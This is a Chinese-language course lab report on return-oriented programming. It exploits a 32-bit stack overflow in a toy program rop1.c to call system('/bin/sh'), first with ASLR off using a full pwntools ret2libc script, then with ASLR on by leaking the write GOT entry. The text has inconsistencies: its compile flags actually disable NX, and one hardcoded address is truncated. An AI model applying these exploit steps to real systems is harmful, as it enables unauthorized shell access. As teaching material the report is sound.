实验目标
掌握如何利用ROP技术绕过安全保护机制。
实验内容要求
- 基于讲义实验一中的
rop1.c
,在关闭栈保护canary和ASLR内存地址随机化保护,开启NX保护的条件下,编写可用的ROP脚本对程序流进行劫持,从而执行system(/bin/sh)
获得shell。要求详细分析ROP的原理,对漏洞利用详细过程进行详细的截图分析,并提供可在所提供虚拟机环境中可执行的脚本,以供实际验证; - 基于讲义实验二中的
rop1.c
,编译为32位程序。在关闭栈保护canary,开启NX保护和ASLR内存地址随机化保护的条件下,编写可用的ROP脚本对程序流进行劫持,从而执行system(/bin/sh)
获得shell。要求详细分析ROP的原理,对漏洞利用详细过程进行详细的截图分析,并提供可在所提供虚拟机环境中可执行的脚本,以供实际验证;
实验环境
- Linux操作系统
- python语言环境
- gdb调试器
- IDA Pro
实验过程
实验一
关闭canary和ASLR,开启NX
关闭栈保护canary和ASLR内存地址随机化保护,开启NX保护,编译rop1.c
到rop1;
1 | gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack |
查看NX保护
rop2进程栈的权限为**rw
**,不可执行
程序分析
程序源代码如下
1 |
|
数组buf大小为128字节,但是read函数读进256字节,因此可以利用缓冲区溢出漏洞对程序流进行劫持攻击。可以通过向buf里面填充大于128字节的数据造成缓冲区溢出,并且覆盖vuln函数的返回地址为buf数组,使程序执行buf数组里的恶意代码。
但是由于开启了NX保护,不能在栈中执行代码,因此不能直接把shellcode写在栈中执行,只能调用系统函数达到getshell的目的。
- 程序中用到了libc库中的read和printf函数。
libc.so
中保存了大量的可用函数,可以调用system('/bin/sh')
来获取shell; - 关闭了ASLR后,system函数在内存中地址不会发生变化;
详细分析
查看vuln函数的地址;
确定覆盖字节数
buf的存储地址是
ebp-0x88
,根据上图汇编代码,栈抬高了0x88+0x4 = 0x8c
个字节,因此需要在栈中填充0x8c
个字节的数据来覆盖返回地址;在vuln函数处设置断点并且运行;
查看系统函数地址为
0xf7e40da0
;查看libc的起始地址为
0xf7e06000
,结束地址为0xf7fb9000
;在libc中查找
/bin/sh
命令的地址为0xf7f61a0b
;
构造ROP
payload结构为
0x8c字节的数据+系统函数地址+任意返回地址+/bin/sh的地址
,先 填充0x8c
字节的数据,然后调用系统函数,以/bin/sh
作为参数,即1
'a'*0x8c + p32(0xf7e40da0) + p32(任意地址) + p32(0xf7f61a0b)
payload脚本如下
1
2
3
4
5
6
7from pwn import *
p = process('./rop2')
sys_addr = 0xf7e40da
binsh_addr = 0xf7f61a0b
payload = 'a'*0x8c + p32(sys_addr) + p32(0x11111111) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
执行脚本
顺利执行ls
命令,漏洞利用成功。
实验二
关闭canary,开启ASLR和NX
关闭栈保护canary,开启ASLR内存地址随机化保护和NX保护,编译rop1.c
到rop2;
1 | gcc rop1.c -o rop2 -m32 -fno-stack-protector -z execstack |
此时动态库的基址是会发生变化的;
思路分析
利用write函数打印出write函数对应的got表里的内容,只要打印got表中存在的函数的地址就可以计算出libc的基址;
虽然write函数的地址并不是固定的,但是程序本身使用过这个函数,所以PLT表里一定有这个函数,PLT表又属于本身程序的代码段,在没有开启PIE的情况下,write函数对应的PLT表项的地址是确定的;
同理GOT表项的地址也是不变的,变的只是GOT表项的内容;
可以将返回地址覆盖为write函数对应的PLT表的地址,参数布置为
0x1
,write函数对应的got表项的地址,参数布置为0x4
,其中0x1
是标准输出(即从终端显示输出结果),0x4
是输出的长度 ;再将write函数的返回地址布置为vuln这个函数的地址,执行完write函数后,返回到vuln函数,进行二次溢出,获得shell,其中vuln函数地址为
0x0804843b
;使用IDA找到write函数对应的PLT表项的地址为
0x08048320
;使用IDA找到write函数对应的GOT表项的地址为
0x0804A014
;覆盖前的堆栈结构为
覆盖后的堆栈结构为
打印出write 的地址后,计算出system函数的地址,然后利用二次栈溢出,覆盖返回地址为system函数地址,布置参数为
/bin/sh
字符串的首地址。
/bin/sh
这个字符串也可以在libc中找到。
构造ROP脚本如下
1 | from pwn import * |
执行脚本
顺利执行ls
、whoami
等命令,漏洞利用成功。